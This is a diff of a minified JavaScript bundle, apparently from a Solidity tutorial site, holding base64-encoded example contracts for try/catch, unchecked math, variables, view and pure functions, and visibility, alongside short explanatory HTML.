                `,c2=({prev:s,next:a})=>r.jsx(u,{version:a2,title:n2,description:l2,html:e2,prev:s,next:a,codes:p2}),t2="0.8.24",o2="Try Catch",r2="An example of try / catch in Solidity",i2=[{fileName:"TryCatch.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8vIEV4dGVybmFsIGNvbnRyYWN0IHVzZWQgZm9yIHRyeSAvIGNhdGNoIGV4YW1wbGVzCmNvbnRyYWN0IEZvbyB7CiAgICBhZGRyZXNzIHB1YmxpYyBvd25lcjsKCiAgICBjb25zdHJ1Y3RvcihhZGRyZXNzIF9vd25lcikgewogICAgICAgIHJlcXVpcmUoX293bmVyICE9IGFkZHJlc3MoMCksICJpbnZhbGlkIGFkZHJlc3MiKTsKICAgICAgICBhc3NlcnQoX293bmVyICE9IDB4MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMSk7CiAgICAgICAgb3duZXIgPSBfb3duZXI7CiAgICB9CgogICAgZnVuY3Rpb24gbXlGdW5jKHVpbnQyNTYgeCkgcHVibGljIHB1cmUgcmV0dXJucyAoc3RyaW5nIG1lbW9yeSkgewogICAgICAgIHJlcXVpcmUoeCAhPSAwLCAicmVxdWlyZSBmYWlsZWQiKTsKICAgICAgICByZXR1cm4gIm15IGZ1bmMgd2FzIGNhbGxlZCI7CiAgICB9Cn0KCmNvbnRyYWN0IEJhciB7CiAgICBldmVudCBMb2coc3RyaW5nIG1lc3NhZ2UpOwogICAgZXZlbnQgTG9nQnl0ZXMoYnl0ZXMgZGF0YSk7CgogICAgRm9vIHB1YmxpYyBmb287CgogICAgY29uc3RydWN0b3IoKSB7CiAgICAgICAgLy8gVGhpcyBGb28gY29udHJhY3QgaXMgdXNlZCBmb3IgZXhhbXBsZSBvZiB0cnkgY2F0Y2ggd2l0aCBleHRlcm5hbCBjYWxsCiAgICAgICAgZm9vID0gbmV3IEZvbyhtc2cuc2VuZGVyKTsKICAgIH0KCiAgICAvLyBFeGFtcGxlIG9mIHRyeSAvIGNhdGNoIHdpdGggZXh0ZXJuYWwgY2FsbAogICAgLy8gdHJ5Q2F0Y2hFeHRlcm5hbENhbGwoMCkgPT4gTG9nKCJleHRlcm5hbCBjYWxsIGZhaWxlZCIpCiAgICAvLyB0cnlDYXRjaEV4dGVybmFsQ2FsbCgxKSA9PiBMb2coIm15IGZ1bmMgd2FzIGNhbGxlZCIpCiAgICBmdW5jdGlvbiB0cnlDYXRjaEV4dGVybmFsQ2FsbCh1aW50MjU2IF9pKSBwdWJsaWMgewogICAgICAgIHRyeSBmb28ubXlGdW5jKF9pKSByZXR1cm5zIChzdHJpbmcgbWVtb3J5IHJlc3VsdCkgewogICAgICAgICAgICBlbWl0IExvZyhyZXN1bHQpOwogICAgICAgIH0gY2F0Y2ggewogICAgICAgICAgICBlbWl0IExvZygiZXh0ZXJuYWwgY2FsbCBmYWlsZWQiKTsKICAgICAgICB9CiAgICB9CgogICAgLy8gRXhhbXBsZSBvZiB0cnkgLyBjYXRjaCB3aXRoIGNvbnRyYWN0IGNyZWF0aW9uCiAgICAvLyB0cnlDYXRjaE5ld0NvbnRyYWN0KDB4MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMCkgPT4gTG9nKCJpbnZhbGlkIGFkZHJlc3MiKQogICAgLy8gdHJ5Q2F0Y2hOZXdDb250cmFjdCgweDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDEpID0+IExvZ0J5dGVzKCIiKQogICAgLy8gdHJ5Q2F0Y2hOZXdDb250cmFjdCgweDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDIpID0+IExvZygiRm9vIGNyZWF0ZWQiKQogICAgZnVuY3Rpb24gdHJ5Q2F0Y2hOZXdDb250cmFjdChhZGRyZXNzIF9vd25lcikgcHVibGljIHsKICAgICAgICB0cnkgbmV3IEZvbyhfb3duZXIpIHJldHVybnMgKEZvbyBmb28pIHsKICAgICAgICAgICAgLy8geW91IGNhbiB1c2UgdmFyaWFibGUgZm9vIGhlcmUKICAgICAgICAgICAgZW1pdCBMb2coIkZvbyBjcmVhdGVkIik7CiAgICAgICAgfSBjYXRjaCBFcnJvcihzdHJpbmcgbWVtb3J5IHJlYXNvbikgewogICAgICAgICAgICAvLyBjYXRjaCBmYWlsaW5nIHJldmVydCgpIGFuZCByZXF1aXJlKCkKICAgICAgICAgICAgZW1pdCBMb2cocmVhc29uKTsKICAgICAgICB9IGNhdGNoIChieXRlcyBtZW1vcnkgcmVhc29uKSB7CiAgICAgICAgICAgIC8vIGNhdGNoIGZhaWxpbmcgYXNzZXJ0KCkKICAgICAgICAgICAgZW1pdCBMb2dCeXRlcyhyZWFzb24pOwogICAgICAgIH0KICAgIH0KfQo="}],g2=`

                try / catch can only catch errors from external function calls and contract creation.

                +`,I2=({prev:s,next:a})=>r.jsx(u,{version:o2,title:r2,description:i2,html:h2,prev:s,next:a,codes:g2}),d2="0.8.24",C2="Try Catch",j2="An example of try / catch in Solidity",u2=[{fileName:"TryCatch.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8vIEV4dGVybmFsIGNvbnRyYWN0IHVzZWQgZm9yIHRyeSAvIGNhdGNoIGV4YW1wbGVzCmNvbnRyYWN0IEZvbyB7CiAgICBhZGRyZXNzIHB1YmxpYyBvd25lcjsKCiAgICBjb25zdHJ1Y3RvcihhZGRyZXNzIF9vd25lcikgewogICAgICAgIHJlcXVpcmUoX293bmVyICE9IGFkZHJlc3MoMCksICJpbnZhbGlkIGFkZHJlc3MiKTsKICAgICAgICBhc3NlcnQoX293bmVyICE9IDB4MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMSk7CiAgICAgICAgb3duZXIgPSBfb3duZXI7CiAgICB9CgogICAgZnVuY3Rpb24gbXlGdW5jKHVpbnQyNTYgeCkgcHVibGljIHB1cmUgcmV0dXJucyAoc3RyaW5nIG1lbW9yeSkgewogICAgICAgIHJlcXVpcmUoeCAhPSAwLCAicmVxdWlyZSBmYWlsZWQiKTsKICAgICAgICByZXR1cm4gIm15IGZ1bmMgd2FzIGNhbGxlZCI7CiAgICB9Cn0KCmNvbnRyYWN0IEJhciB7CiAgICBldmVudCBMb2coc3RyaW5nIG1lc3NhZ2UpOwogICAgZXZlbnQgTG9nQnl0ZXMoYnl0ZXMgZGF0YSk7CgogICAgRm9vIHB1YmxpYyBmb287CgogICAgY29uc3RydWN0b3IoKSB7CiAgICAgICAgLy8gVGhpcyBGb28gY29udHJhY3QgaXMgdXNlZCBmb3IgZXhhbXBsZSBvZiB0cnkgY2F0Y2ggd2l0aCBleHRlcm5hbCBjYWxsCiAgICAgICAgZm9vID0gbmV3IEZvbyhtc2cuc2VuZGVyKTsKICAgIH0KCiAgICAvLyBFeGFtcGxlIG9mIHRyeSAvIGNhdGNoIHdpdGggZXh0ZXJuYWwgY2FsbAogICAgLy8gdHJ5Q2F0Y2hFeHRlcm5hbENhbGwoMCkgPT4gTG9nKCJleHRlcm5hbCBjYWxsIGZhaWxlZCIpCiAgICAvLyB0cnlDYXRjaEV4dGVybmFsQ2FsbCgxKSA9PiBMb2coIm15IGZ1bmMgd2FzIGNhbGxlZCIpCiAgICBmdW5jdGlvbiB0cnlDYXRjaEV4dGVybmFsQ2FsbCh1aW50MjU2IF9pKSBwdWJsaWMgewogICAgICAgIHRyeSBmb28ubXlGdW5jKF9pKSByZXR1cm5zIChzdHJpbmcgbWVtb3J5IHJlc3VsdCkgewogICAgICAgICAgICBlbWl0IExvZyhyZXN1bHQpOwogICAgICAgIH0gY2F0Y2ggewogICAgICAgICAgICBlbWl0IExvZygiZXh0ZXJuYWwgY2FsbCBmYWlsZWQiKTsKICAgICAgICB9CiAgICB9CgogICAgLy8gRXhhbXBsZSBvZiB0cnkgLyBjYXRjaCB3aXRoIGNvbnRyYWN0IGNyZWF0aW9uCiAgICAvLyB0cnlDYXRjaE5ld0NvbnRyYWN0KDB4MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMCkgPT4gTG9nKCJpbnZhbGlkIGFkZHJlc3MiKQogICAgLy8gdHJ5Q2F0Y2hOZXdDb250cmFjdCgweDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDEpID0+IExvZ0J5dGVzKCIiKQogICAgLy8gdHJ5Q2F0Y2hOZXdDb250cmFjdCgweDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDIpID0+IExvZygiRm9vIGNyZWF0ZWQiKQogICAgZnVuY3Rpb24gdHJ5Q2F0Y2hOZXdDb250cmFjdChhZGRyZXNzIF9vd25lcikgcHVibGljIHsKICAgICAgICB0cnkgbmV3IEZvbyhfb3duZXIpIHJldHVybnMgKEZvbyBmb28pIHsKICAgICAgICAgICAgLy8geW91IGNhbiB1c2UgdmFyaWFibGUgZm9vIGhlcmUKICAgICAgICAgICAgZW1pdCBMb2coIkZvbyBjcmVhdGVkIik7CiAgICAgICAgfSBjYXRjaCBFcnJvcihzdHJpbmcgbWVtb3J5IHJlYXNvbikgewogICAgICAgICAgICAvLyBjYXRjaCBmYWlsaW5nIHJldmVydCgpIGFuZCByZXF1aXJlKCkKICAgICAgICAgICAgZW1pdCBMb2cocmVhc29uKTsKICAgICAgICB9IGNhdGNoIChieXRlcyBtZW1vcnkgcmVhc29uKSB7CiAgICAgICAgICAgIC8vIGNhdGNoIGZhaWxpbmcgYXNzZXJ0KCkKICAgICAgICAgICAgZW1pdCBMb2dCeXRlcyhyZWFzb24pOwogICAgICAgIH0KICAgIH0KfQo="}],A2=`

                try / catch can only catch errors from external function calls and contract creation.

                // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
 
@@ -10785,7 +11347,7 @@ echidna EchidnaTestTimeAndCaller.sol --contract EchidnaTestTimeAndCaller
         }
     }
 }
-
                `,h2=({prev:s,next:a})=>r.jsx(u,{version:t2,title:o2,description:r2,html:g2,prev:s,next:a,codes:i2}),d2="0.8.24",I2="Unchecked Math",C2="An example of unchecked math in Solidity",j2=[{fileName:"UncheckedMath.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFVuY2hlY2tlZE1hdGggewogICAgZnVuY3Rpb24gYWRkKHVpbnQyNTYgeCwgdWludDI1NiB5KSBleHRlcm5hbCBwdXJlIHJldHVybnMgKHVpbnQyNTYpIHsKICAgICAgICAvLyAyMjI5MSBnYXMKICAgICAgICAvLyByZXR1cm4geCArIHk7CgogICAgICAgIC8vIDIyMTAzIGdhcwogICAgICAgIHVuY2hlY2tlZCB7CiAgICAgICAgICAgIHJldHVybiB4ICsgeTsKICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24gc3ViKHVpbnQyNTYgeCwgdWludDI1NiB5KSBleHRlcm5hbCBwdXJlIHJldHVybnMgKHVpbnQyNTYpIHsKICAgICAgICAvLyAyMjMyOSBnYXMKICAgICAgICAvLyByZXR1cm4geCAtIHk7CgogICAgICAgIC8vIDIyMTQ3IGdhcwogICAgICAgIHVuY2hlY2tlZCB7CiAgICAgICAgICAgIHJldHVybiB4IC0geTsKICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24gc3VtT2ZDdWJlcyh1aW50MjU2IHgsIHVpbnQyNTYgeSkgZXh0ZXJuYWwgcHVyZSByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgLy8gV3JhcCBjb21wbGV4IG1hdGggbG9naWMgaW5zaWRlIHVuY2hlY2tlZAogICAgICAgIHVuY2hlY2tlZCB7CiAgICAgICAgICAgIHVpbnQyNTYgeDMgPSB4ICogeCAqIHg7CiAgICAgICAgICAgIHVpbnQyNTYgeTMgPSB5ICogeSAqIHk7CgogICAgICAgICAgICByZXR1cm4geDMgKyB5MzsKICAgICAgICB9CiAgICB9Cn0K"}],u2=`

                Overflow and underflow of numbers in Solidity 0.8 throw an error. This can be disabled by using unchecked.

                +`,y2=({prev:s,next:a})=>r.jsx(u,{version:d2,title:C2,description:j2,html:A2,prev:s,next:a,codes:u2}),m2="0.8.24",b2="Unchecked Math",w2="An example of unchecked math in Solidity",k2=[{fileName:"UncheckedMath.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFVuY2hlY2tlZE1hdGggewogICAgZnVuY3Rpb24gYWRkKHVpbnQyNTYgeCwgdWludDI1NiB5KSBleHRlcm5hbCBwdXJlIHJldHVybnMgKHVpbnQyNTYpIHsKICAgICAgICAvLyAyMjI5MSBnYXMKICAgICAgICAvLyByZXR1cm4geCArIHk7CgogICAgICAgIC8vIDIyMTAzIGdhcwogICAgICAgIHVuY2hlY2tlZCB7CiAgICAgICAgICAgIHJldHVybiB4ICsgeTsKICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24gc3ViKHVpbnQyNTYgeCwgdWludDI1NiB5KSBleHRlcm5hbCBwdXJlIHJldHVybnMgKHVpbnQyNTYpIHsKICAgICAgICAvLyAyMjMyOSBnYXMKICAgICAgICAvLyByZXR1cm4geCAtIHk7CgogICAgICAgIC8vIDIyMTQ3IGdhcwogICAgICAgIHVuY2hlY2tlZCB7CiAgICAgICAgICAgIHJldHVybiB4IC0geTsKICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24gc3VtT2ZDdWJlcyh1aW50MjU2IHgsIHVpbnQyNTYgeSkgZXh0ZXJuYWwgcHVyZSByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgLy8gV3JhcCBjb21wbGV4IG1hdGggbG9naWMgaW5zaWRlIHVuY2hlY2tlZAogICAgICAgIHVuY2hlY2tlZCB7CiAgICAgICAgICAgIHVpbnQyNTYgeDMgPSB4ICogeCAqIHg7CiAgICAgICAgICAgIHVpbnQyNTYgeTMgPSB5ICogeSAqIHk7CgogICAgICAgICAgICByZXR1cm4geDMgKyB5MzsKICAgICAgICB9CiAgICB9Cn0K"}],Z2=`

                Overflow and underflow of numbers in Solidity 0.8 throw an error. This can be disabled by using unchecked.

                Disabling overflow / underflow check saves gas.

                // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
@@ -10821,7 +11383,7 @@ echidna EchidnaTestTimeAndCaller.sol --contract EchidnaTestTimeAndCaller
         }
     }
 }
-
                `,y2=({prev:s,next:a})=>r.jsx(u,{version:d2,title:I2,description:C2,html:u2,prev:s,next:a,codes:j2}),A2="0.8.24",m2="Variables",b2="Local, state and global variables",w2=[{fileName:"Variables.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFZhcmlhYmxlcyB7CiAgICAvLyBTdGF0ZSB2YXJpYWJsZXMgYXJlIHN0b3JlZCBvbiB0aGUgYmxvY2tjaGFpbi4KICAgIHN0cmluZyBwdWJsaWMgdGV4dCA9ICJIZWxsbyI7CiAgICB1aW50MjU2IHB1YmxpYyBudW0gPSAxMjM7CgogICAgZnVuY3Rpb24gZG9Tb21ldGhpbmcoKSBwdWJsaWMgewogICAgICAgIC8vIExvY2FsIHZhcmlhYmxlcyBhcmUgbm90IHNhdmVkIHRvIHRoZSBibG9ja2NoYWluLgogICAgICAgIHVpbnQyNTYgaSA9IDQ1NjsKCiAgICAgICAgLy8gSGVyZSBhcmUgc29tZSBnbG9iYWwgdmFyaWFibGVzCiAgICAgICAgdWludDI1NiB0aW1lc3RhbXAgPSBibG9jay50aW1lc3RhbXA7IC8vIEN1cnJlbnQgYmxvY2sgdGltZXN0YW1wCiAgICAgICAgYWRkcmVzcyBzZW5kZXIgPSBtc2cuc2VuZGVyOyAvLyBhZGRyZXNzIG9mIHRoZSBjYWxsZXIKICAgIH0KfQo="}],k2=`

                There are 3 types of variables in Solidity

                +`,W2=({prev:s,next:a})=>r.jsx(u,{version:m2,title:b2,description:w2,html:Z2,prev:s,next:a,codes:k2}),B2="0.8.24",G2="Variables",V2="Local, state and global variables",f2=[{fileName:"Variables.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFZhcmlhYmxlcyB7CiAgICAvLyBTdGF0ZSB2YXJpYWJsZXMgYXJlIHN0b3JlZCBvbiB0aGUgYmxvY2tjaGFpbi4KICAgIHN0cmluZyBwdWJsaWMgdGV4dCA9ICJIZWxsbyI7CiAgICB1aW50MjU2IHB1YmxpYyBudW0gPSAxMjM7CgogICAgZnVuY3Rpb24gZG9Tb21ldGhpbmcoKSBwdWJsaWMgewogICAgICAgIC8vIExvY2FsIHZhcmlhYmxlcyBhcmUgbm90IHNhdmVkIHRvIHRoZSBibG9ja2NoYWluLgogICAgICAgIHVpbnQyNTYgaSA9IDQ1NjsKCiAgICAgICAgLy8gSGVyZSBhcmUgc29tZSBnbG9iYWwgdmFyaWFibGVzCiAgICAgICAgdWludDI1NiB0aW1lc3RhbXAgPSBibG9jay50aW1lc3RhbXA7IC8vIEN1cnJlbnQgYmxvY2sgdGltZXN0YW1wCiAgICAgICAgYWRkcmVzcyBzZW5kZXIgPSBtc2cuc2VuZGVyOyAvLyBhZGRyZXNzIG9mIHRoZSBjYWxsZXIKICAgIH0KfQo="}],Y2=`

                There are 3 types of variables in Solidity

                • local
                  • declared inside a function
                    • @@ -10852,7 +11414,7 @@ echidna EchidnaTestTimeAndCaller.sol --contract EchidnaTestTimeAndCaller address sender = msg.sender; // address of the caller } } -`,Z2=({prev:s,next:a})=>r.jsx(u,{version:A2,title:m2,description:b2,html:k2,prev:s,next:a,codes:w2}),W2="0.8.24",G2="View and Pure Functions",B2="An example of view and pure functions in Solidity",V2=[{fileName:"ViewAndPureFunctions.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFZpZXdBbmRQdXJlIHsKICAgIHVpbnQyNTYgcHVibGljIHggPSAxOwoKICAgIC8vIFByb21pc2Ugbm90IHRvIG1vZGlmeSB0aGUgc3RhdGUuCiAgICBmdW5jdGlvbiBhZGRUb1godWludDI1NiB5KSBwdWJsaWMgdmlldyByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgcmV0dXJuIHggKyB5OwogICAgfQoKICAgIC8vIFByb21pc2Ugbm90IHRvIG1vZGlmeSBvciByZWFkIGZyb20gdGhlIHN0YXRlLgogICAgZnVuY3Rpb24gYWRkKHVpbnQyNTYgaSwgdWludDI1NiBqKSBwdWJsaWMgcHVyZSByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgcmV0dXJuIGkgKyBqOwogICAgfQp9Cg=="}],f2=`

                    Getter functions can be declared view or pure.

                    +`,R2=({prev:s,next:a})=>r.jsx(u,{version:B2,title:G2,description:V2,html:Y2,prev:s,next:a,codes:f2}),X2="0.8.24",v2="View and Pure Functions",N2="An example of view and pure functions in Solidity",H2=[{fileName:"ViewAndPureFunctions.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFZpZXdBbmRQdXJlIHsKICAgIHVpbnQyNTYgcHVibGljIHggPSAxOwoKICAgIC8vIFByb21pc2Ugbm90IHRvIG1vZGlmeSB0aGUgc3RhdGUuCiAgICBmdW5jdGlvbiBhZGRUb1godWludDI1NiB5KSBwdWJsaWMgdmlldyByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgcmV0dXJuIHggKyB5OwogICAgfQoKICAgIC8vIFByb21pc2Ugbm90IHRvIG1vZGlmeSBvciByZWFkIGZyb20gdGhlIHN0YXRlLgogICAgZnVuY3Rpb24gYWRkKHVpbnQyNTYgaSwgdWludDI1NiBqKSBwdWJsaWMgcHVyZSByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgcmV0dXJuIGkgKyBqOwogICAgfQp9Cg=="}],F2=`

                    Getter functions can be declared view or pure.

                    View function declares that no state will be changed.

                    Pure function declares that no state variable will be changed or read.

                    // SPDX-License-Identifier: MIT
@@ -10871,7 +11433,7 @@ echidna EchidnaTestTimeAndCaller.sol --contract EchidnaTestTimeAndCaller
         return i + j;
     }
 }
-
                    `,Y2=({prev:s,next:a})=>r.jsx(u,{version:W2,title:G2,description:B2,html:f2,prev:s,next:a,codes:V2}),R2="0.8.24",X2="Visibility",v2="An example of external, internal, private and public functions in Solidity",N2=[{fileName:"Visibility.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEJhc2UgewogICAgLy8gUHJpdmF0ZSBmdW5jdGlvbiBjYW4gb25seSBiZSBjYWxsZWQKICAgIC8vIC0gaW5zaWRlIHRoaXMgY29udHJhY3QKICAgIC8vIENvbnRyYWN0cyB0aGF0IGluaGVyaXQgdGhpcyBjb250cmFjdCBjYW5ub3QgY2FsbCB0aGlzIGZ1bmN0aW9uLgogICAgZnVuY3Rpb24gcHJpdmF0ZUZ1bmMoKSBwcml2YXRlIHB1cmUgcmV0dXJucyAoc3RyaW5nIG1lbW9yeSkgewogICAgICAgIHJldHVybiAicHJpdmF0ZSBmdW5jdGlvbiBjYWxsZWQiOwogICAgfQoKICAgIGZ1bmN0aW9uIHRlc3RQcml2YXRlRnVuYygpIHB1YmxpYyBwdXJlIHJldHVybnMgKHN0cmluZyBtZW1vcnkpIHsKICAgICAgICByZXR1cm4gcHJpdmF0ZUZ1bmMoKTsKICAgIH0KCiAgICAvLyBJbnRlcm5hbCBmdW5jdGlvbiBjYW4gYmUgY2FsbGVkCiAgICAvLyAtIGluc2lkZSB0aGlzIGNvbnRyYWN0CiAgICAvLyAtIGluc2lkZSBjb250cmFjdHMgdGhhdCBpbmhlcml0IHRoaXMgY29udHJhY3QKICAgIGZ1bmN0aW9uIGludGVybmFsRnVuYygpIGludGVybmFsIHB1cmUgcmV0dXJucyAoc3RyaW5nIG1lbW9yeSkgewogICAgICAgIHJldHVybiAiaW50ZXJuYWwgZnVuY3Rpb24gY2FsbGVkIjsKICAgIH0KCiAgICBmdW5jdGlvbiB0ZXN0SW50ZXJuYWxGdW5jKCkgcHVibGljIHB1cmUgdmlydHVhbCByZXR1cm5zIChzdHJpbmcgbWVtb3J5KSB7CiAgICAgICAgcmV0dXJuIGludGVybmFsRnVuYygpOwogICAgfQoKICAgIC8vIFB1YmxpYyBmdW5jdGlvbnMgY2FuIGJlIGNhbGxlZAogICAgLy8gLSBpbnNpZGUgdGhpcyBjb250cmFjdAogICAgLy8gLSBpbnNpZGUgY29udHJhY3RzIHRoYXQgaW5oZXJpdCB0aGlzIGNvbnRyYWN0CiAgICAvLyAtIGJ5IG90aGVyIGNvbnRyYWN0cyBhbmQgYWNjb3VudHMKICAgIGZ1bmN0aW9uIHB1YmxpY0Z1bmMoKSBwdWJsaWMgcHVyZSByZXR1cm5zIChzdHJpbmcgbWVtb3J5KSB7CiAgICAgICAgcmV0dXJuICJwdWJsaWMgZnVuY3Rpb24gY2FsbGVkIjsKICAgIH0KCiAgICAvLyBFeHRlcm5hbCBmdW5jdGlvbnMgY2FuIG9ubHkgYmUgY2FsbGVkCiAgICAvLyAtIGJ5IG90aGVyIGNvbnRyYWN0cyBhbmQgYWNjb3VudHMKICAgIGZ1bmN0aW9uIGV4dGVybmFsRnVuYygpIGV4dGVybmFsIHB1cmUgcmV0dXJucyAoc3RyaW5nIG1lbW9yeSkgewogICAgICAgIHJldHVybiAiZXh0ZXJuYWwgZnVuY3Rpb24gY2FsbGVkIjsKICAgIH0KCiAgICAvLyBUaGlzIGZ1bmN0aW9uIHdpbGwgbm90IGNvbXBpbGUgc2luY2Ugd2UncmUgdHJ5aW5nIHRvIGNhbGwKICAgIC8vIGFuIGV4dGVybmFsIGZ1bmN0aW9uIGhlcmUuCiAgICAvLyBmdW5jdGlvbiB0ZXN0RXh0ZXJuYWxGdW5jKCkgcHVibGljIHB1cmUgcmV0dXJucyAoc3RyaW5nIG1lbW9yeSkgewogICAgLy8gICAgIHJldHVybiBleHRlcm5hbEZ1bmMoKTsKICAgIC8vIH0KCiAgICAvLyBTdGF0ZSB2YXJpYWJsZXMKICAgIHN0cmluZyBwcml2YXRlIHByaXZhdGVWYXIgPSAibXkgcHJpdmF0ZSB2YXJpYWJsZSI7CiAgICBzdHJpbmcgaW50ZXJuYWwgaW50ZXJuYWxWYXIgPSAibXkgaW50ZXJuYWwgdmFyaWFibGUiOwogICAgc3RyaW5nIHB1YmxpYyBwdWJsaWNWYXIgPSAibXkgcHVibGljIHZhcmlhYmxlIjsKICAgIC8vIFN0YXRlIHZhcmlhYmxlcyBjYW5ub3QgYmUgZXh0ZXJuYWwgc28gdGhpcyBjb2RlIHdvbid0IGNvbXBpbGUuCiAgICAvLyBzdHJpbmcgZXh0ZXJuYWwgZXh0ZXJuYWxWYXIgPSAibXkgZXh0ZXJuYWwgdmFyaWFibGUiOwp9Cgpjb250cmFjdCBDaGlsZCBpcyBCYXNlIHsKICAgIC8vIEluaGVyaXRlZCBjb250cmFjdHMgZG8gbm90IGhhdmUgYWNjZXNzIHRvIHByaXZhdGUgZnVuY3Rpb25zCiAgICAvLyBhbmQgc3RhdGUgdmFyaWFibGVzLgogICAgLy8gZnVuY3Rpb24gdGVzdFByaXZhdGVGdW5jKCkgcHVibGljIHB1cmUgcmV0dXJucyAoc3RyaW5nIG1lbW9yeSkgewogICAgLy8gICAgIHJldHVybiBwcml2YXRlRnVuYygpOwogICAgLy8gfQoKICAgIC8vIEludGVybmFsIGZ1bmN0aW9uIGNhbiBiZSBjYWxsZWQgaW5zaWRlIGNoaWxkIGNvbnRyYWN0cy4KICAgIGZ1bmN0aW9uIHRlc3RJbnRlcm5hbEZ1bmMoKSBwdWJsaWMgcHVyZSBvdmVycmlkZSByZXR1cm5zIChzdHJpbmcgbWVtb3J5KSB7CiAgICAgICAgcmV0dXJuIGludGVybmFsRnVuYygpOwogICAgfQp9Cg=="}],H2=`

                    Functions and state variables have to declare whether they are accessible by other contracts.

                    +`,K2=({prev:s,next:a})=>r.jsx(u,{version:X2,title:v2,description:N2,html:F2,prev:s,next:a,codes:H2}),S2="0.8.24",M2="Visibility",x2="An example of external, internal, private and public functions in Solidity",J2=[{fileName:"Visibility.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEJhc2UgewogICAgLy8gUHJpdmF0ZSBmdW5jdGlvbiBjYW4gb25seSBiZSBjYWxsZWQKICAgIC8vIC0gaW5zaWRlIHRoaXMgY29udHJhY3QKICAgIC8vIENvbnRyYWN0cyB0aGF0IGluaGVyaXQgdGhpcyBjb250cmFjdCBjYW5ub3QgY2FsbCB0aGlzIGZ1bmN0aW9uLgogICAgZnVuY3Rpb24gcHJpdmF0ZUZ1bmMoKSBwcml2YXRlIHB1cmUgcmV0dXJucyAoc3RyaW5nIG1lbW9yeSkgewogICAgICAgIHJldHVybiAicHJpdmF0ZSBmdW5jdGlvbiBjYWxsZWQiOwogICAgfQoKICAgIGZ1bmN0aW9uIHRlc3RQcml2YXRlRnVuYygpIHB1YmxpYyBwdXJlIHJldHVybnMgKHN0cmluZyBtZW1vcnkpIHsKICAgICAgICByZXR1cm4gcHJpdmF0ZUZ1bmMoKTsKICAgIH0KCiAgICAvLyBJbnRlcm5hbCBmdW5jdGlvbiBjYW4gYmUgY2FsbGVkCiAgICAvLyAtIGluc2lkZSB0aGlzIGNvbnRyYWN0CiAgICAvLyAtIGluc2lkZSBjb250cmFjdHMgdGhhdCBpbmhlcml0IHRoaXMgY29udHJhY3QKICAgIGZ1bmN0aW9uIGludGVybmFsRnVuYygpIGludGVybmFsIHB1cmUgcmV0dXJucyAoc3RyaW5nIG1lbW9yeSkgewogICAgICAgIHJldHVybiAiaW50ZXJuYWwgZnVuY3Rpb24gY2FsbGVkIjsKICAgIH0KCiAgICBmdW5jdGlvbiB0ZXN0SW50ZXJuYWxGdW5jKCkgcHVibGljIHB1cmUgdmlydHVhbCByZXR1cm5zIChzdHJpbmcgbWVtb3J5KSB7CiAgICAgICAgcmV0dXJuIGludGVybmFsRnVuYygpOwogICAgfQoKICAgIC8vIFB1YmxpYyBmdW5jdGlvbnMgY2FuIGJlIGNhbGxlZAogICAgLy8gLSBpbnNpZGUgdGhpcyBjb250cmFjdAogICAgLy8gLSBpbnNpZGUgY29udHJhY3RzIHRoYXQgaW5oZXJpdCB0aGlzIGNvbnRyYWN0CiAgICAvLyAtIGJ5IG90aGVyIGNvbnRyYWN0cyBhbmQgYWNjb3VudHMKICAgIGZ1bmN0aW9uIHB1YmxpY0Z1bmMoKSBwdWJsaWMgcHVyZSByZXR1cm5zIChzdHJpbmcgbWVtb3J5KSB7CiAgICAgICAgcmV0dXJuICJwdWJsaWMgZnVuY3Rpb24gY2FsbGVkIjsKICAgIH0KCiAgICAvLyBFeHRlc